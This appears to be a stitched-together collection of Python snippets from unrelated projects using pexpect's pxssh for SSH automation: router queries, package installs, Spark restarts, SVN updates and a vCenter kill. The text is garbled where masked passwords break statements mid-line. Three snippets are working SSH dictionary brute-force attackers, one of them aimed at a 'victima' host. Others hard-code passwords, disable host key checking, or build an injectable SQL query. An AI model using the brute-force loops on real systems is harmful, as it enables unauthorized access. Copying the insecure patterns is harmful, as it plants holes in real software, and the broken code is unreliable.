print("SSH > Login no hostname " + hostname + " feito com sucesso")
rootpassword = getpass.getpass('root password: ')
conn.sendline("enable")
print(conn)
conn.prompt()
conn.sendline(rootpassword)
conn.logout()
print("SSH > Root Acess")
return True
except Exception as e:
print("SSH > Login no hostname " + hostname + " falhou")
print(e)
return False
def pxssh_ssh_tunneling_vnc(local_usocket_name, target_host, vnc_port,
ssh_port, ssh_login, ssh_password,
ssh_private_key_filename,
ssh_private_key_passphrase):
"""
local_usocket_name : must be absolute path
target_host : ssh and vnc host
vnc_port : vnc port
ssh_port : ssh port
ssh_login : ssh login
ssh_password : ssh password
ssh_private_key_filename : ssh private key filename
ssh_private_key_passphrase : ssh private key passphrase
"""
from pexpect import pxssh
p = None
try:
p = pxssh.pxssh(
ignore_sighup=False,
options={
"StrictHostKeyChecking": "no",
"UserKnownHostsFile": "/dev/null",
"PubkeyAcceptedKeyTypes": "+ssh-dss"
}
)
use_private_key = (
bool(ssh_private_key_filename) and
bool(ssh_private_key_passphrase)
)
if not use_private_key:
p.force_password = True
remove_file(local_usocket_name)
p.login(
server=target_host,
username=ssh_login,
ssh_key=ssh_private_key_filename if use_private_key else None,
password=ssh_private_key_passphrase if use_private_key else ssh_password,
port=ssh_port,
ssh_tunnels={
'local': [f'{local_usocket_name}:localhost:{vnc_port}']
}
)
except Exception as e:
Logger().info(f"Tunneling with PXSSH Error {e}")
p = None
return p
def connect(self):
"""Connect to the ASUS-WRT SSH server."""
from pexpect import pxssh
self._ssh = pxssh.pxssh()
if self._ssh_key:
self._ssh.login(self._host,
self._username,
ssh_key=self._ssh_key,
port=self._port)
else:
self._ssh.login(self._host,
self._username,
password=self._password,
port=self._port)
super(SshConnection, self).connect()
def ssh_conn(self, hostname, username, password):
try:
print("Connecting to ", hostname)
self.ssh = pxssh.pxssh()
print(hostname, username, password)
self.ssh.login(hostname,
username,
password,
original_prompt="[#>$]",
login_timeout=5000,
auto_prompt_reset=False)
print("Connected")
except pxssh.ExceptionPxssh as error:
print("Login failed")
print(str(error))
self.ssh = False
return self.ssh
def InstallApache(IP, username, password):
session = pxssh.pxssh()
session.login(IP, username, password)
session.sendline('sudo apt update')
session.prompt()
session.sendline('Password01')
print("Updated successfully")
session.prompt()
session.sendline('sudo apt-get -y install apache2')
session.prompt()
print("Installed Apache2 successfully")
session.sendline('sudo systemctl start apache2')
session.prompt()
session.sendline('sudo systemctl enable apache2')
session.prompt()
print("Enabled Apache2 @boot successfully")
session.logout()
def spark_restart_shell(self):
"""
stop_thrift = '/data01/spark/sbin/stop-thriftserver.sh'
stop_all = '/data01/spark/sbin/stop-all.sh'
start_all = '/data01/spark/sbin/start-all.sh'
start_thrift = '/data01/spark/sbin/start-thriftserver.sh --master spark://21.2.2.58:7077 --total-executor-cores 32 --executor-memory 4g'
"""
try:
stop_thrift = self.spark_home + '/sbin/stop-thriftserver.sh'
stop_all = self.spark_home + '/sbin/stop-all.sh'
start_all = self.spark_home + '/sbin/start-all.sh'
start_thrift = self.spark_home + '/sbin/start-thriftserver.sh --master spark://' + \
self.hive2_host + ':' + self.master_port + ' --total-executor-cores ' + \
self.total_exe_cores + ' --executor-memory ' + self.exe_memory
s = pxssh.pxssh(timeout=self.restart_time_out)
password = base64.decodestring(self.restart_password)
s.login(self.restart_client_ip,
self.restart_user_name,
self.password,
original_prompt='[$#>]')
# command1
command1 = stop_thrift
s.sendline(command1)
s.prompt()
print s.before
# command2
command2 = stop_all
s.sendline(command2)
s.prompt()
print s.before
# command3
command3 = start_all
s.sendline(command3)
s.prompt()
print s.before
# command4
command4 = start_thrift
s.sendline(command4)
s.prompt()
print s.before
s.logout()
#
except pxssh.ExceptionPxssh, e:
print 'pxssh failed on login.'
print str(e)
def create_session(self):
try:
sesh = pxssh.pxssh(options={
"StrictHostKeyChecking": "no",
"UserKnownHostsFile": "/dev/null"
})
# Enable the following line if you need to see all output.
# This will make Ansible think that there was an error, however.
#sesh.logfile_read = sys.stdout
if self.log:
# To only capture output (and not passwords) change logfile to logfile_read
sesh.logfile = file(self.log_file, 'w')
sesh.force_password = True
return sesh
except (pxssh.ExceptionPxssh, pexpect.ExceptionPexpect) as e:
self.module.fail_json(msg="Connection Error: {}".format(e))
def InstallMySQL(IP, username, password):
session = pxssh.pxssh()
session.login(IP, username, password)
session.sendline('sudo apt update') #very necessary!
session.prompt()
session.sendline('Password01')
print("Updated successfully")
session.prompt()
session.sendline('sudo apt-get -y install mysql-client')
session.prompt()
session.sendline('sudo apt-get -y install mysql-server')
session.promt()
session.sendline('sudo systemctl start mysql')
session.promt()
session.sendline('sudo systemctl enable mysql') #auto start @boot
print("MySQL installed successfully")
session.logout()
def AtaqueFuerzaBrutaSSH(Ipvictima,Usuariovictima):
print(" ")
print(colored("Para el ataque se usara el diccionario de password por defecto",'green',attrs=['bold']))
print(colored("Diccionario de passwords: ",'green',attrs=['bold']),colored("FichEnt/diccionario.txt",'blue',attrs=['bold']))
print(" ")
tipoDici=input(colored("Desea cambiar el diccionario?, S o N: ",'green',attrs=['bold']))
print(" ")
if tipoDici.upper()=='S':
print(" ")
print(colored("Por favor indique nuevo diccionario,ejemplo password.txt",'green',attrs=['bold']))
print(colored("Recuerde que debe de estar en el directorio ",'green',attrs=['bold']),colored("FichEnt",'blue',attrs=['bold']))
print(" ")
fileEnt=input(colored("Indique nombre del nuevo diccionario de passwords a utilizar: ",'green',attrs=['bold']))
elif tipoDici.upper()=='N':
fileEnt="diccionario.txt"
else:
print(colored("[-] Error opcion no valida",'red',attrs=['bold']))
exit()
#validamos fichero y lo leemos
Fich_Ent_Passwd=validaFichEnt(fileEnt)
passwdPosibles=leerFichPasswd(Fich_Ent_Passwd)
try:
for passw in passwdPosibles:
print("Usuario : " + Usuariovictima)
print("password: "******"[+]!!!! Password encontrada ¡¡¡¡ ",'green',attrs=['bold']) , colored(passw,'blue',attrs=['bold']) ,colored( " para usuario ",'green',attrs=['bold']),colored(Usuariovictima,'blue',attrs=['bold']),colored(" conexion a SSH",'green',attrs=['bold']))
time.sleep(3)
conexion_ssh.logout()
exit()
except pxssh.ExceptionPxssh as e:
print(colored("[-]Contraeña erronea: IP: " + Ipvictima + ' Password: '******' Puerto:22','red',attrs=['bold']))
except():
print(colored("[-]Error de conexion SSH a la ip " +Ipvictima+ " puerto: 22",'red',attrs=['bold']))
exit()
def test_failed_custom_ssh_cmd(self):
try:
ssh = pxssh.pxssh()
cipher_string = '-c invalid_cipher'
result = ssh.login('server', 'me', password='******', cmd='ssh ' + cipher_string + ' -2')
ssh.PROMPT = r'Closed connection'
ssh.sendline('exit')
ssh.prompt(timeout=5)
string = str(ssh.before) + str(ssh.after)
if 'Closed connection' not in string:
assert False, 'should not have completed logging into Mock SSH client and exited'
except pxssh.ExceptionPxssh as e:
pass
else:
assert False, 'should have raised exception, pxssh.ExceptionPxssh'
def main(run):
NET.CheckConnectionHost(init.var['target'], init.var['port'], 5)
Loadingfile(init.var['dict'])
with open(init.var['dict'], 'r') as passwords:
for password in passwords:
password = password.replace("\n", "")
try:
connect = pxssh.pxssh()
connect.login(init.var['target'], init.var['user'], password)
if True:
printk.suff("Successfully with [" + init.var['user'] +
"][" + password + "]\n")
UTIL.sRegister(init, password)
return
except:
printk.inf(" | Checking '" + password + "'")
def Brightness(self):
print('Getting Brightness Logs')
self.lnk = pxssh.pxssh()
self.lnk.login(self.Ref,self.username,self.password)
self.lnk.sendline('cd ~/Desktop/') #TO DO: Correct Path for where brightness logs will be
fname = 'Brighness.dat' #TO DO: Correct for actual file name
self.lnk.sendline('scp %s [email protected]:/home/fhire/Desktop/FHiRE_GAM/logs' %fname)
time.sleep(3)
i = self.lnk.expect('[email protected]\'s password:'******'Pressure Logs Obtained')
def initialize_test_accounts():
print('Initializing ida test accounts...')
s = pxssh.pxssh(timeout=100)
if not s.login(ida_host, ssh_user, ssh_password):
print("SSH session failed on login.")
print(str(s))
else:
print("SSH session login successful")
command = 'cd /var/ida/utils; sudo -u apache /var/ida/utils/initialize_test_accounts'
s.logfile = open('/tmp/shlog.log', 'wb')
s.sendline(command)
s.expect('.*assword.*', timeout=5)
s.sendline(ssh_password)
# pprint(s.prompt())
# pprint(s.before)
s.logout()
print("Data initialized")
def tryPass(i, password_list):
#password = input('password: '******'ls')
#session.prompt()
#print(session.before)
session.logout()
print(password_list[i] + " Worked")
sys.exit(1)
except pxssh.ExceptionPxssh:
print(password_list[i] + " failed")
session.close()
def server_ident(server, logNum):
user = '******'
passwd = 'root'
print('{} Reboot Server {}'.format(logNum, server))
rebootServers.reboot(cycle, logNum, server)
time.sleep(90)
print('{} Login to {} '.format(logNum, server))
session = pxssh.pxssh()
hs_session.login(session, server, user, passwd)
command = 'SysManComm on'
hs_session.power_ctl(cycle, logNum, session, server, command)
time.sleep(120)
hs_session.create_record(cycle, logNum, session, server)
hs_session.get_available_cards(cycle, logNum, session, server)
command = 'SysManComm off'
hs_session.power_ctl(cycle, logNum, session, server, command)
time.sleep(30)
def create_repository(repository_name, username, password, svn_hostname,
svn_host_user, svn_host_user_password):
"""Function to create a repository
TODO: Find out how to store the SVN host name and passwords.
COMMAND: cp -r /data/_repositories/_base_Repository_Template/ /data/_repositories/{0}; svnadmin setuuid /data/_repositories/{0}
NOTE: Although this script creates the repositories,
note that access to the repositories is administered via the script in
svn://dllohsr222/XT4210/apps/get_svn_users_groups/get_users_groups.py
Only users in the Production Redmine session who are added as
members in a related project have access.
"""
# first check if this exists.
query = check_authorization(
"svn://{}/{}".format(os.environ.get("SVN_SERVER", get_hostname()),
repository_name), username, password)
if query.repo_exists:
# If the repository exists, raise a FileExistsError (Python3+) or a NameError.
error_message = "{} already exists. Cannot overwrite the repository!".format(
repository_name)
try:
raise FileExistsError(error_message)
except:
raise NameError(error_message)
else:
if os.name == "nt":
raise OSError(
"This feature is unavailable on Windows based systems.")
elif sys.version.startswith("2"):
msg = ("This feature is not meant for "
"Python 2.x. Use Python 3.4+.")
raise EnvironmentError(msg)
else:
# If the repository doesn't exist, and if this is called from a Linux host,
# then create the repository.
from pexpect import pxssh
server = pxssh.pxssh()
server.login(svn_hostname, svn_host_user, svn_host_user_password)
commands = ("cp -r /data/_repositories/_base_Repository_Template/ "
"/data/_repositories/{0}; "
"svnadmin setuuid /data/_repositories/{0}"
).format(repository_name)
server.sendline(commands)
server.logout()
def main():
ip = '10.16.24.20'
user = '******'
passwd = 'CHGME.1'
# my_f7_ssh = F7SshSession(ip, user, passwd)
# my_f7_ssh.logout()
s = pxssh()
s.login(ip, user, passwd)
s.sendline('uptime')
s.prompt()
print(s.before)
s.sendline('who')
s.prompt()
print(s.before)
s.logout()
s.close()
def ssh_connection(self):
"""Retrieve data from ASUSWRT via the ssh protocol."""
from pexpect import pxssh
try:
ssh = pxssh.pxssh()
ssh.login(self.host, self.username, self.password)
ssh.sendline(_IP_NEIGH_CMD)
ssh.prompt()
neighbors = ssh.before.split(b'\n')[1:-1]
ssh.sendline(_LEASES_CMD)
ssh.prompt()
leases_result = ssh.before.split(b'\n')[1:-1]
ssh.logout()
return (neighbors, leases_result)
except pxssh.ExceptionPxssh as exc:
_LOGGER.exception('Unexpected response from router: %s', exc)
return ('', '')
def svn_update(self, machine):
addr_check = self.address_check(addr=self.address.get())
result = askyesno(
title='Update warning',
message='You are going to update a prod machine. Make sure you '
'inform your supervisors before!\rYour update path is {}'.format(
self.address.get()),
default='no')
if result and addr_check:
s = pxssh.pxssh()
s.login(machine, copy_update_config.user_name,
copy_update_config.user_password)
s.sendline('cd {}'.format(self.address.get()))
s.prompt()
s.sendline('svn update')
self.new_windows(info='svn update')
k = s.expect(['\'{}\':', 'Run.*'])
if k == 0:
s.sendline(copy_update_config.user_password)
if k == 1:
s.sendline('svn cleanup')
s.prompt()
g = s.expect([
'.*{}\':'.format(copy_update_config.user_name), 'Run.*',
pexpect.TIMEOUT
])
s.prompt()
if g == 0:
s.sendline(copy_update_config.user_password)
s.prompt(timeout=120)
self.new_windows(info=(s.before))
if g == 1:
s.sendline('svn cleanup')
s.expect(pexpect.EOF)
s.expect('.*assword')
s.sendline(copy_update_config.user_password)
s.prompt()
self.new_windows(info=(s.before))
self.new_windows(info='Svn update complete!')
self.create_logs(machine=machine,
move='svn update address:{}'.format(
self.address.get()))
else:
self.new_windows(info='Update aborted')
self.create_logs(machine=machine, move='svn update aborted')
def shutdownvCenter_Kill(ip, vCenterID, type):
"""
Führt einen Kill Befehl druch, um den vCenter Server herunterzufahren
:param ip: die IP Adresse des ESXi Hosts, auf dem der vCenter Server läuft
:param vCenterID: die WorldID des vCenter Servers
:param type: der Type des Kill-Befehlts (soft, hard, force)
"""
try:
try:
db = pymysql.connect(host='localhost',
user='******',
password='******',
db='serverraum_temperaturueberwachung',
autocommit=True)
cursor = db.cursor()
logging.info("Connected to database")
cursor.execute(
f'select benutzername, passwort from server where IP_Adresse = "{ip}";'
)
user = cursor.fetchone()[0]
password = cursor.fetchone()[1]
db.close()
except Exception as e:
logging.error(e)
ssh = pxssh.pxssh()
ssh.login(ip, user, password)
logging.info(f"Mit ESXi[{ip}] verbunden")
isRunning = False
for data in getVMsOfHost(ip):
vmip, id = data
if id == vCenterID:
isRunning = True
if not isRunning:
return
ssh.sendline(
f"esxcli vm process kill --type {type} --world-id= {vCenterID}")
ssh.prompt()
ssh.logout()
logging.info(
f'vCenter Server [{ip}] mit einem {type} Kill heruntergefahren')
except pxssh.ExceptionPxssh as e:
logging.error(e)
